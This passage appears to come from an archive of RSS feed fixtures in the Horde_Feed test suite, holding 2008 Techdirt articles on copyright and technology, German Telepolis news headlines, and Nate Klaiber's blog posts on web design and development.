href="http://www.techdirt.com/articles/20080522/0016171201.shtml">recent court ruling</a> that said the opposite and goes through a detailed explanation for why a piece of sold software is a sale with restrictions, rather than a license, using previous court precedents. <br /><br /> Most of these points have been made to the BSA and IDC in the past, and both organizations chose not to address them. The fact that they're continuing to use these obviously false numbers and methodology to now push for the government to prop up an obsolete business model should be seen as troubling not just for the dishonesty of it, but for the <i>negative</i> impact it will have on the software industry and our economy as a whole. <br /><br /> <a href="http://techdirt.com/articles/20080718/1226541724.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1226541724.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1226541724&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <a href="http://www.pheedo.com/click.phdo?s=96a6d84cc967eae6793eed534a1ae283"><img alt="" style="border: 0;" border="0" src="http://www.pheedo.com/img.phdo?s=96a6d84cc967eae6793eed534a1ae283"/></a> <img src="http://www.pheedo.com/feeds/tracker.php?i=96a6d84cc967eae6793eed534a1ae283" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=xg7UBj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=xg7UBj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/339551441" height="1" width="1"/> and-on-and-on-it-goes http://techdirt.com/comment_rss.php?sid=20080718/1226541724 Fri, 18 Jul 2008 18:35:23 PST No, The Internet Is Not Bad For Science; Bad Research Is Bad For Science Michael Masnick http://techdirt.com/articles/20080717/1939141717.shtml http://techdirt.com/articles/20080717/1939141717.shtml Wired has an article discussing the assertion published in the journal Science (not online at the moment) claiming that <a href="http://blog.wired.com/wiredscience/2008/07/is-the-internet.html" target="_new">the internet is bad for science</a>, because researchers just do some searches online and get the most popular hits or the most recent hits, and fail to dig deeper or look at older research. Of course, that's placing the blame on the wrong party. The problem isn't the internet: it's people who do bad research on the internet. If you use the internet as <i>one tool</i> of many in doing your research, and make sure to follow up on reading the actual research and following through on the citations, then the internet can be quite useful. I know I've found that in doing some recent economics research. Being able to search online, in addition to through some print journals, resulted in finding some additional useful research I wouldn't have come across otherwise. Of course, perhaps we shouldn't be surprised that a journal whose history is paper-based would push out an article trashing the internet for research. <br /><br /> <a href="http://techdirt.com/articles/20080717/1939141717.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080717/1939141717.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080717/1939141717&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=7dc4593ba5e92a51bf0ab89a99173d3c" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=7dc4593ba5e92a51bf0ab89a99173d3c" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=NI00Nj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=NI00Nj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/339507739" height="1" width="1"/> watch-where-you-place-that-blame http://techdirt.com/comment_rss.php?sid=20080717/1939141717 Fri, 18 Jul 2008 17:21:00 PST Should Organizations Get To Ignore Copyright For The Sake Of Preservation? Michael Masnick http://techdirt.com/articles/20080716/0202441697.shtml http://techdirt.com/articles/20080716/0202441697.shtml Copyright was clearly designed for a different age: when not everyone was a "publisher." And while we've spent years pointing out many of the different problems that has caused, here's another one: how is a library or some other institution charged with "archiving" written works for posterity supposed to deal with copyright laws that can often make such archival activities against the law? Well, the Library of Congress and a bunch of other organizations have a suggestion: <a href="http://www.againstmonopoly.org/index.php?perm=813" target="_new">let them all ignore copyright law for the sake of archiving</a>. Basically, the report recommends that certain organizations be designated as "preservation institutions," which are then more or less allowed to ignore copyright law and copy-at-will for the sake of preservation. Of course, this is clearly going to lead to many questions, including just who would get designated as such. Many people can probably agree on public libraries and such -- but what about Google? After all, Google is already one of the largest players in "preserving" what's online and also, with its book scanning project, what's in books. Yet it's a private, for-profit company. Should it qualify? I would argue that it makes sense to allow it, given how beneficial the archival activities of Google have already been. Even if it is for profit, the public benefit has been tremendous as well. But then what's to stop any other company from arguing that it to deserves an exemption for preservation purposes? Wouldn't a better solution be to start rethinking copyright law altogether, since what has become clear from this is that copyright doesn't quite fit today's world any more? <br /><br /> <a href="http://techdirt.com/articles/20080716/0202441697.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080716/0202441697.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080716/0202441697&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=0f11464250484ad34c4cc469542f987a" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=0f11464250484ad34c4cc469542f987a" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=Hu02mj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=Hu02mj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/339465224" height="1" width="1"/> glossing-over-a-bigger-problem? http://techdirt.com/comment_rss.php?sid=20080716/0202441697 Fri, 18 Jul 2008 16:11:00 PST GPS Data Used To Disprove Radar Gun In Speeding Trial Kevin Donovan http://techdirt.com/articles/20080718/1234331725.shtml http://techdirt.com/articles/20080718/1234331725.shtml Over the past couple months, we've pointed to the misuses of technology to enforce traffic laws, particularly <a href="http://techdirt.com/articles/20080604/2243441315.shtml">red light cameras</a> which often end up causing more accidents or allow municipalities to decrease the yellow light time and increase ticket revenue. Last fall we noted the case of a teenager who was challenging another technological traffic enforcement: <a href="http://techdirt.com/articles/20080604/2243441315.shtml">radar guns</a> -- and he was using a different technology to do so: his GPS system. Now, the 18-year old driver has <a href="http://www.hothardware.com/News/Speeding_Radar_Gun_vs_GPS/">successfully contested that speeding ticket</a> which he was issued for allegedly traveling 62 mph in a 45 mph zone. <br /><br /> Luckily for the teen, his car had an advanced GPS system which not only provided directions but measured velocity to "within 1 mph." After receiving a trial and bringing a GPS expert to testify to the accuracy of the device, <a href="http://arstechnica.com/news.ars/post/20080718-nabbed-for-speeding-gps-data-could-get-you-off-the-hook.html">the $190 ticket has been dismissed.</a> What is not clear is why the police officer's radar gun output was more than 1/3 inflated (though this <a href="http://www.techdirt.com/articles/20051229/138257.shtml">is hardly an isolated incident</a>). Also, as a number of people have pointed out, similar GPS data, if widespread, could also come to serve as critical evidence in <i>convicting</i> traffic law violators instead of providing a check on state authority. <p style="border-top: 1px #aaaaaa dashed;padding-top: 5px;margin-top: 10px;"> <em>Kevin Donovan is an expert at the <a href="http://www.insightcommunity.com/">Techdirt Insight Community</a>. To get insight and analysis from Kevin Donovan and other experts on challenges your company faces, <a href="http://www.insightcommunity.com/">click here</a>.</em> </p> <br /><br /> <a href="http://techdirt.com/articles/20080718/1234331725.shtml">Permalink</a> | <a href="http://techdirt.com/articles/20080718/1234331725.shtml#comments">Comments</a> | <a href="http://techdirt.com/article.php?sid=20080718/1234331725&op=sharethis">Email This Story</a> <br /> <br style="clear: both;"/> <img alt="" style="border: 0; height:1px; width:1px;" border="0" src="http://www.pheedo.com/img.phdo?i=9cf4b3cada9f70b51c123544aabda0d2" height="1" width="1"/> <img src="http://www.pheedo.com/feeds/tracker.php?i=9cf4b3cada9f70b51c123544aabda0d2" style="display: none;" border="0" height="1" width="1" alt=""/><div class="feedflare"> <a href="http://feeds.techdirt.com/~f/techdirt/feed?a=OUPAXj"><img src="http://feeds.techdirt.com/~f/techdirt/feed?i=OUPAXj" border="0"></img></a> </div><img src="http://feeds.techdirt.com/~r/techdirt/feed/~4/339422331" height="1" width="1"/> not-so-fast http://techdirt.com/comment_rss.php?sid=20080718/1234331725 Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.telepolis.de-news.rdf0000664000175000017500000002622312653701626025655 0ustar janjan Telepolis Newsfeed http://www.heise.de/tp/ Alle Telepolis Artikel und Kurzmeldungen de-de Copyright (C) Heise Zeitschriften Verlag wwwtp@heise.de (Telepolis Web Master) Illusionen der gegenwärtigen Bildungspolitik "Wohlstand für alle heißt Bildung für alle!" verspricht Bundeskanzlerin Merkel als Motto für den heute stattfindenden "Bildungsgipfel" http://www.heise.de/tp/r4/artikel/28/28782/1.html http://www.heise.de/tp/r4/artikel/28/28782/1.html Mon, 22 Sep 2008 00:20:11 +0000 tpred@heise.de (Matthias Becker) Reinfall von Köln Die Pleite des Anti-Islamisierungskongresses am Wochenende in Köln zeigt die Grenzen rechter Kampagnenfähigkeit - doch der Anti-Islamismus bleibt rechtes Thema http://www.heise.de/tp/r4/artikel/28/28780/1.html http://www.heise.de/tp/r4/artikel/28/28780/1.html Mon, 22 Sep 2008 00:20:09 +0000 tpred@heise.de (Peter Nowak) Kampfdrohnen werden für Kampfeinsätze zentral Für das Pentagon stellen Kampfdrohnen die "Speerspitze" von Angriffen dar http://www.heise.de/tp/r4/artikel/28/28779/1.html http://www.heise.de/tp/r4/artikel/28/28779/1.html Mon, 22 Sep 2008 00:20:06 +0000 tpred@heise.de (Florian Rötzer) Die Federal Reserve: das neue Zentralkomitee Ein sozialistischer Staat aus Bankern und Milliardären http://www.heise.de/tp/r4/artikel/28/28775/1.html http://www.heise.de/tp/r4/artikel/28/28775/1.html Mon, 22 Sep 2008 00:20:04 +0000 tpred@heise.de (Artur P. Schmidt) Wenn man den Skandal vor lauter Skandalen nicht mehr sieht Von verspekulierten Abermillionen zu Ungunsten der Steuerzahler, vorgeführten Wahlversprechen und Hausdurchsuchungen bei Oppositionspolitikern http://www.heise.de/tp/r4/artikel/28/28774/1.html http://www.heise.de/tp/r4/artikel/28/28774/1.html Mon, 22 Sep 2008 00:20:01 +0000 tpred@heise.de (Peter Mühlbauer) Drogenkrieg um Mexiko Kartelle kämpfen um das Nachbarland der USA. Die Regierung mobilisiert die Armee und provoziert eine Zuspitzung der Lage http://www.heise.de/tp/r4/artikel/28/28776/1.html http://www.heise.de/tp/r4/artikel/28/28776/1.html Sun, 21 Sep 2008 14:11:08 +0000 tpred@heise.de (Harald Neuber) [pnews] Trotz Pleite sollen Lehman-Broker Boni erhalten Barclays garantiert bei Übernahme der Investmentbank Boni und Gehälter von wichtigen Lehman-Angestellten. http://www.heise.de/tp/blogs/8/116276 http://www.heise.de/tp/blogs/8/116276 Sun, 21 Sep 2008 10:47:02 +0000 tpred@heise.de (Florian Rötzer) [pnews] Bush verlangt vom Kongress 700 Milliarden Dollar zur Eindämmung der Kreditkrise Mit dem Rettungsplan verschuldet sich der Staat enorm - mit ungewissem Ausgang, aber zur Freude des Kreditsektors, der die Krise eingebrockt hat. http://www.heise.de/tp/blogs/8/116275 http://www.heise.de/tp/blogs/8/116275 Sun, 21 Sep 2008 02:02:45 +0000 tpred@heise.de (Florian Rötzer) Antifaschismus mit Spaßeffekten In Köln haben Nazis und andere Hetzer nichts zu lachen. Der CDU-Oberbürgermeister ist stolz auf seine Stadt, und die Boulevardpresse vor Ort feierte schon am Samstag genüsslich die Niederlagen der Euro-Faschisten http://www.heise.de/tp/r4/artikel/28/28773/1.html http://www.heise.de/tp/r4/artikel/28/28773/1.html Sun, 21 Sep 2008 01:34:41 +0000 tpred@heise.de (Peter Bürger) [pnews] Schwerer Anschlag auf Marriott-Hotel erschüttert Pakistan Der Anschlag, durch den mindestens 60 Menschen starben, fand im gut geschützten Regierungsviertel von Islamabad statt. http://www.heise.de/tp/blogs/8/116273 http://www.heise.de/tp/blogs/8/116273 Sun, 21 Sep 2008 00:44:02 +0000 tpred@heise.de (Florian Rötzer) Suppenküchen ja, aber bitte nicht für alle! Europa ist auf neoliberalem Kurs - und entdeckt gleichzeitig seine soziale Ader http://www.heise.de/tp/r4/artikel/28/28746/1.html http://www.heise.de/tp/r4/artikel/28/28746/1.html Sun, 21 Sep 2008 00:20:06 +0000 tpred@heise.de (Holger Elias) Pipeline for the people? Bilanz des Erdölprojektes Tschad/Kamerun http://www.heise.de/tp/r4/artikel/28/28741/1.html http://www.heise.de/tp/r4/artikel/28/28741/1.html Sun, 21 Sep 2008 00:20:03 +0000 tpred@heise.de (Birgit Morgenrath) Hilfe! Noch eine Chipkarte! Von einer elektronischen Gesundheitskarte (eGK), die zu mehr fähig ist, als nur Patientendaten zu verwalten http://www.heise.de/tp/r4/artikel/28/28711/1.html http://www.heise.de/tp/r4/artikel/28/28711/1.html Sun, 21 Sep 2008 00:20:01 +0000 tpred@heise.de (Marcel Mayer) [enews] Ein neues Eisregime in der Arktis? Auch am Alfred-Wegener-Institut in Bremerhaven geht man davon aus, dass die Eisbedeckung des Polarmeeres ihr diesjähriges Minimum erreicht hat. http://www.heise.de/tp/blogs/2/116269 http://www.heise.de/tp/blogs/2/116269 Sun, 21 Sep 2008 00:12:02 +0000 tpred@heise.de (Wolfgang Pomrehn) [pnews] Die Sicherheit unserer Kölner geht vor Polizei verbietet Kundgebung des "Anti-Islamisierungskongress" http://www.heise.de/tp/blogs/8/116266 http://www.heise.de/tp/blogs/8/116266 Sat, 20 Sep 2008 14:58:30 +0000 tpred@heise.de (Thomas Pany) Der erste ferngesteuerte Krieg In den pakistanischen Grenzgebieten wird auch aus politischen Gründen der Krieg aus der Ferne mit Robotern geübt http://www.heise.de/tp/r4/artikel/28/28770/1.html http://www.heise.de/tp/r4/artikel/28/28770/1.html Sat, 20 Sep 2008 00:20:08 +0000 tpred@heise.de (Florian Rötzer) US-Regierung will das Finanzsystem auf Kosten der Steuerzahler retten Die Börsen feiern, dass der Staat mit der wohl bislang teuersten Rettungsaktion den Banken die Verluste abnimmt http://www.heise.de/tp/r4/artikel/28/28769/1.html http://www.heise.de/tp/r4/artikel/28/28769/1.html Sat, 20 Sep 2008 00:20:06 +0000 tpred@heise.de (Ralf Streck) Adieu Datenbank Edvige! Adieu? In Frankreich beginnt die Mobilisierung gegen die Superdatenbank des Inlandsgeheimdienstes erste Früchte zu tragen. Doch die Rädelsführer der Anti-Edvige-Front trauen den Versprechungen Sarkozys nicht über den Weg http://www.heise.de/tp/r4/artikel/28/28748/1.html http://www.heise.de/tp/r4/artikel/28/28748/1.html Sat, 20 Sep 2008 00:20:03 +0000 tpred@heise.de (Nathalie Roller) Öl und Eliten mit Faible für Paris Kamerun, der korrupteste Staat der Welt http://www.heise.de/tp/r4/artikel/28/28699/1.html http://www.heise.de/tp/r4/artikel/28/28699/1.html Sat, 20 Sep 2008 00:20:01 +0000 tpred@heise.de (Bernard Schmid) [pnews] US-Rettungsplan kann 1.000.000.000.000 US-Dollar kosten Die vom Weißen Haus geplante Rettungsaktion dürfte wirklich teuer werden und die nächste Regierung erheblich belasten.. http://www.heise.de/tp/blogs/8/116252 http://www.heise.de/tp/blogs/8/116252 Fri, 19 Sep 2008 18:07:30 +0000 tpred@heise.de (Florian Rötzer) [mnews] Fatale Kommunikation mit enthusiastischen Teenagern Zug und Technik in den USA http://www.heise.de/tp/blogs/3/116242 http://www.heise.de/tp/blogs/3/116242 Fri, 19 Sep 2008 16:29:14 +0000 tpred@heise.de (Thomas Pany) Sarah Palin: Webmail-Hacken für Anfänger Berichten zufolge war es ein Kinderspiel, den "privaten" E-Mail-Account bei Yahoo zu hacken, den die US-Politikerin Sarah Palin auch für regierungsamtliche Zwecke einsetzte http://www.heise.de/tp/r4/artikel/28/28765/1.html http://www.heise.de/tp/r4/artikel/28/28765/1.html Fri, 19 Sep 2008 15:28:13 +0000 tpred@heise.de (Bernd Kling) [pnews] Vertrauen in US-Regierung schwindet, die Finanzkrise zu bewältigen Nach einer Umfrage fürchten 70 Prozent, dass sich die Kreditkrise noch verschlimmert, Obama ist wieder leicht im Aufwind. http://www.heise.de/tp/blogs/8/116223 http://www.heise.de/tp/blogs/8/116223 Fri, 19 Sep 2008 13:47:06 +0000 tpred@heise.de (Florian Rötzer) Spaß mit Münte - Die SPD und der Streisand-Effekt YouTube und Co. - unsere wöchentliche Telepolis-Videoschau http://www.heise.de/tp/r4/artikel/28/28764/1.html http://www.heise.de/tp/r4/artikel/28/28764/1.html Fri, 19 Sep 2008 13:06:35 +0000 tpred@heise.de (Ernst Corinth) [pnews] Venezuela hat Mitarbeiter von Human Rights Watch nach kritischem Bericht ausgewiesen Human Rights Watch wird vorgeworfen, gegen die Verfassung des Landes verstoßen zu haben und als Sprachrohr der US-Regierung aufzutreten. http://www.heise.de/tp/blogs/8/116214 http://www.heise.de/tp/blogs/8/116214 Fri, 19 Sep 2008 12:24:08 +0000 tpred@heise.de (Florian Rötzer) Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-www.theklaibers.com-feed-0000664000175000017500000007334612653701626025602 0ustar janjan Nate Klaiber http://nateklaiber.com Nate Klaiber 40.477187-81.444397 The web doesn't care http://feeds.feedburner.com/~r/nateklaiber/~3/341619308/the-web-doesnt-care <blockquote cite="http://sethgodin.typepad.com/seths_blog/2008/07/the-web-doesnt.html"><p>The question to ask is, "how are people (the people I need to reach, interact with and tell stories to) going to use this new power and how can I help them achieve their goals?" (<a href="http://sethgodin.typepad.com/seths_blog/2008/07/the-web-doesnt.html">via</a>)</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/341619308" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/21/the-web-doesnt-care Mon Jul 21 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/21/the-web-doesnt-care How to use status to style a list http://feeds.feedburner.com/~r/nateklaiber/~3/341868971/how-to-use-status-to-style-a-list <blockquote cite="http://www.designinginteractive.com/user-experience/how-to-use-status-to-style-a-list/#comment-526"><p>As computer programmers we often get stuck thinking in binary. Things are either true or false, black or white, on or off, good or bad, pass or fail. Although computers think this way, the people who use the software typically do not. We can use our skills as human beings to create a better user experience for our customers. (<a href="http://www.designinginteractive.com/user-experience/how-to-use-status-to-style-a-list/#comment-526">via</a>)</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/341868971" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/21/how-to-use-status-to-style-a-list Mon Jul 21 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/21/how-to-use-status-to-style-a-list Some thoughts on scalability http://feeds.feedburner.com/~r/nateklaiber/~3/337089600/some-thoughts-on-scalability <blockquote cite="http://www.25hoursaday.com/weblog/2008/07/14/ScalabilityIDontThinkThatWordMeansWhatYouThinkItDoes.aspx"><p>If a service doesn't scale it is more likely due to bad design than to technology choice. Remember that. (<a href="http://www.25hoursaday.com/weblog/2008/07/14/ScalabilityIDontThinkThatWordMeansWhatYouThinkItDoes.aspx">via</a>)</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/337089600" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/16/some-thoughts-on-scalability Wed Jul 16 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/16/some-thoughts-on-scalability Pop-up ads are useful because they work http://feeds.feedburner.com/~r/nateklaiber/~3/336164022/pop-up-ads-are-useful-because-they-work <p>In response to <a href="http://www.businessweek.com/innovate/content/jun2008/id20080623_750025_page_2.htm">The 10 Commandments of Web Design</a> posted recently on BusinessWeek, Matthew Magain responds with <a href="http://www.sitepoint.com/blogs/2008/07/01/why-the-10-commandments-of-web-design-is-complete-baloney/" rel="nofollow">Why The 10 Commandments Of Web Design Are Complete Baloney</a>. He works hard to combat the list, but in his own responses is very vague. It just seemed more like a platform to rant than to intellectually respond to the initial list. One particular response stuck out to me:</p> <blockquote cite="http://www.sitepoint.com/blogs/2008/07/01/why-the-10-commandments-of-web-design-is-complete-baloney/"><p>2. <strong>Thou shalt not hide content.</strong></p> <p>Allow me to offer a somewhat contentious view — popups aren&#8217;t always evil. Yes, they (almost always) introduce usability issues, and yes, for regular visitors they are annoying and frustrating and can harm a site&#8217;s credibility etc etc. No doubt you&#8217;ve seen the occasional popup ad on sitepoint.com.</p> <p>Here&#8217;s why: they work.</p> <p>When it comes down to it, it&#8217;s all very well to stand on one&#8217;s usability soap box and declare &#8220;Don&#8217;t use popups!&#8221; But if your site is a for-profit enterprise, then you may be doing your business a disservice by not contemplating popup advertising as a legitimate revenue stream. Why? Because people click on them. They are engaging, and many visitors find them useful; this we know from experience.</p></blockquote> <p class="sidenote">Sidenote: Occasional? Occasional? Try at lest twice every visit. It would be interesting if he backed this up with research, instead of his <em>experience</em>.</p> <p>Read that again. His reasoning is <em>they work</em>. Huh? Lets present his first piece of evidence: <strong>the popup ad I received while I was reading his very own article</strong>.</p> <img src="/site_files/0003/0455/Picture_1_medium.png" alt="Popup ad from sitepoint"> <p>Ahh yes, that&#8217;s a very well thought out and targeted ad towards a supposed community seeking to help web developers. Now, in his defense, he had to take this stance&#8212;he was writing the article for one of the worst promoters of popup ads in the web development community. I know, we could travel a lot, so it might be useful to a few. I avoid Sitepoint like the plague for this very reason, littering my screen with useless advertising that shows their for-profit roots and priorities.</p> <p>Reading down through the comments, I saw that many people thought the same thing when reading that section. I think the response by <a href="http://www.andybudd.com" rel="colleague">Andy Budd</a> sums it up best:</p> <blockquote cite="http://www.andybudd.com"><p>Regarding your second point that pop-ups work. My immediate thought was, &#8220;so does spam, but it doesn&#8217;t make it right.&#8221; The ends do not always justify the means.</p></blockquote> <p>Thank you Andy, for saying what everyone else was thinking.</p> <p>So, there you have it. We can all rest easy using pop-ups, pop-unders, or other spawning of windows because <em>it works</em>. How&#8217;s that for an educated response?</p> <p class="sidenote">As you can tell from my response, I do not advocate the use of pop-ups, pop-unders, or any other form of advertising on the web that forces itself upon visitors by spawning new windows or interrupting a user from achieving their goal.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/336164022" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/blog/2008/7/15/pop-up-ads-are-useful-because-they-work Tue Jul 15 00:00:00 UTC 2008 http://nateklaiber.com/blog/2008/7/15/pop-up-ads-are-useful-because-they-work Walking the line when you work from home http://feeds.feedburner.com/~r/nateklaiber/~3/336187740/walking-the-line-when-you-work-from-home <blockquote cite="http://www.alistapart.com/articles/walkingthelinewhenyouworkfromhome"><p>Working from home is a balancing act, to be sure. But pre-planning, negotiation, flexibility, perseverance—and, of course, quiet time—are all you need to successfully walk the blurry line between work and home. (<a href="http://www.alistapart.com/articles/walkingthelinewhenyouworkfromhome">via</a>)</p></blockquote> <p>Excellent article, <a href="http://personatalie.us/" rel="colleague contact">Natalie</a>!</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/336187740" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/15/walking-the-line-when-you-work-from-home Tue Jul 15 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/15/walking-the-line-when-you-work-from-home New website for CoNotes.com http://feeds.feedburner.com/~r/nateklaiber/~3/336318070/new-website-for-conotescom <p><a href="http://www.clearfunction.com">Clear Function</a> recently launched a new website for <a href="http://www.conotes.com">CoNotes.com</a>, the online destination to discover and learn about job opportunities in fast-growth and startup companies. It was a pleasure working with Andrew Chen of CoNotes and to be involved in what we hope will prove to be a great resource for job seekers.</p> <p class="sidenote">For those of you who saw the official release earlier, this one includes a second phase built around social features allowing you to search jobs, bookmark jobs, add favorite companies, communicate with other members, and more.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/336318070" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/15/new-website-for-conotescom Tue Jul 15 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/15/new-website-for-conotescom The real world value of proper web development http://feeds.feedburner.com/~r/nateklaiber/~3/335128359/the-real-world-value-of-proper-web-development <blockquote cite="http://www.i-marco.nl/weblog/archive/2008/07/12/the_real_world_value_of_proper"><p>"[...] So... how many potential clients / employers that YOU work for actually care about the quality of what's being built for them? And what do you feel the perceived value of a quality frontend developer is these days? Does our expertise really MATTER? (<a href="http://www.i-marco.nl/weblog/archive/2008/07/12/the_real_world_value_of_proper">via</a>)</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/335128359" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/14/the-real-world-value-of-proper-web-development Mon Jul 14 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/14/the-real-world-value-of-proper-web-development New addition to the family http://feeds.feedburner.com/~r/nateklaiber/~3/332647263/new-addition-to-the-family <p>I know, you are probably thinking a child. A pet. Anything but...a computer. I received my Mac Pro earlier this week thanks to <a href="http://thebignoob.com/soldiers/brad/" rel="colleague">Brad</a> at <a href="http://www.thebignoob.com">The Big Noob</a>. I took some <a href="/photos/new-mac-pro-arrival" title="Unboxing of new Mac Pro">quick pics as I unboxed it</a> and began the process of cloning computer drives. Here is our family picture:</p> <p><a href="/photos/new-mac-pro-arrival/dsc-2729jpg"><img src="http://www.nateklaiber.com/site_files/0002/9384/DSC_2729_medium.JPG" alt="Family picture of Apple Computers"></a></p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/332647263" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/11/new-addition-to-the-family Fri Jul 11 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/11/new-addition-to-the-family Eyeballs are overrated http://feeds.feedburner.com/~r/nateklaiber/~3/331848844/eyeballs-are-overrated <blockquote cite="http://hellomynameisscott.blogspot.com/2008/07/eyeballs-are-overrated.html"> <p><strong>Eyeballs are overrated.</strong></p> <p>See, it’s not about HOW MANY eyeballs you capture; it’s WHOSE eyeballs you capture, ask Seth Godin taught me.</p> <p>Because all the traffic in the world doesn’t do you any good (except for maybe a temporary ego boost) … unless it actually converts into something worthwhile. (<a href="http://hellomynameisscott.blogspot.com/2008/07/eyeballs-are-overrated.html">via</a>)</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/331848844" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/10/eyeballs-are-overrated Thu Jul 10 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/10/eyeballs-are-overrated Cornerstone Subversion client for OSX http://feeds.feedburner.com/~r/nateklaiber/~3/325818504/cornerstone-subversion-client-for-osx <p>"Take control of Subversion with a client application that was specifically designed for Mac users. Cornerstone integrates all of the features you need to interact with your repository and does so in an elegant and easy-to-use fashion." (<a href="http://www.zennaware.com/cornerstone/">via</a>)</p> <p>I have been testing out <a href="http://versionsapp.com/">Versions</a> over the past week and have really enjoyed this. I was recommended Cornerstone via my friend <a href="http://www.braddielman.com" rel="friend colleague met">Brad Dielman</a> and had to check it out. So far it looks fabulous.</p><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/325818504" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/3/cornerstone-subversion-client-for-osx Thu Jul 03 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/3/cornerstone-subversion-client-for-osx Why we need another CMS http://feeds.feedburner.com/~r/nateklaiber/~3/325841249/why-we-need-another-cms <blockquote cite="http://www.designinginteractive.com/business/why-we-need-another-cms/"><p>The last week or so I’ve been beta testing Reflect. Nate Klaiber and our friends at ClearFunction have hit the nail on the head with their hosted CMS solution. It’s light, agile and flexible. You can build your own website in a few minutes or have a professional designer put the look and feel together for you. It’s competitively priced and offers a few well thought out features [...]</p></blockquote> <p><a href="http://www.reflectyoursite.com">Reflect</a> recently went into private beta and we have already received some great feedback from many of the users. Thanks to <a href="http://joshwalsh.com/" rel="friend colleague met">Josh Walsh</a> and Dave Goerlich from <a href="http://www.designinginteractive.com">Designing Interactive</a> for their kind words.</p> <p>If you haven't heard of Reflect and are interested, you can check out the <a href="http://www.reflectyoursite.com">official Reflect website</a> where you can sign up for the <a href="http://reflectyoursite.com/#interested">mailing list</a> to receive updates and invitation to the private beta.</p> <p>On a side note, I recently had a chance to meet up with Josh and Dave and check out their new upcoming app, <a href="http://www.simpli5.com/">Simpli5</a>. If you are tired of e-commerce sites that do everything under the sun, but don't do what you need - sign up for their mailing list to get more information. I was blown away by the interface and R&amp;D that they have put into building this application.</a><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/325841249" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/3/why-we-need-another-cms Thu Jul 03 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/3/why-we-need-another-cms Early retirement is a false idol http://feeds.feedburner.com/~r/nateklaiber/~3/325862358/early-retirement-is-a-false-idol <blockquote cite="http://www.37signals.com/svn/posts/1121-early-retirement-is-a-false-idol"><p>Why does the idea of work have to be so bad that you want to sacrifice year’s worth of prime living to get away from it forever? The answer is that it doesn’t. Finding something you to love to work on seems to be a much more fruitful pursuit than trying to get away from the notion of work altogether.</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/325862358" height="1" width="1"/> Nate Klaiber http://nateklaiber.com/tumblelog/2008/7/3/early-retirement-is-a-false-idol Thu Jul 03 00:00:00 UTC 2008 http://nateklaiber.com/tumblelog/2008/7/3/early-retirement-is-a-false-idol Fighting the traffic race http://feeds.feedburner.com/~r/nateklaiber/~3/325933268/fighting-the-traffic-race <blockquote cite="http://scobleizer.com/2008/06/30/is-getting-more-traffic-your-real-goal/"><p>Why not get into the traffic race? Because I’d rather be in the race for a smart, focused audience. That’s where the real action is.</p></blockquote><img src="http://feeds.feedburner.com/~r/nateklaiber/~4/325933268" height="1" width="1"/> Nate Klaiber 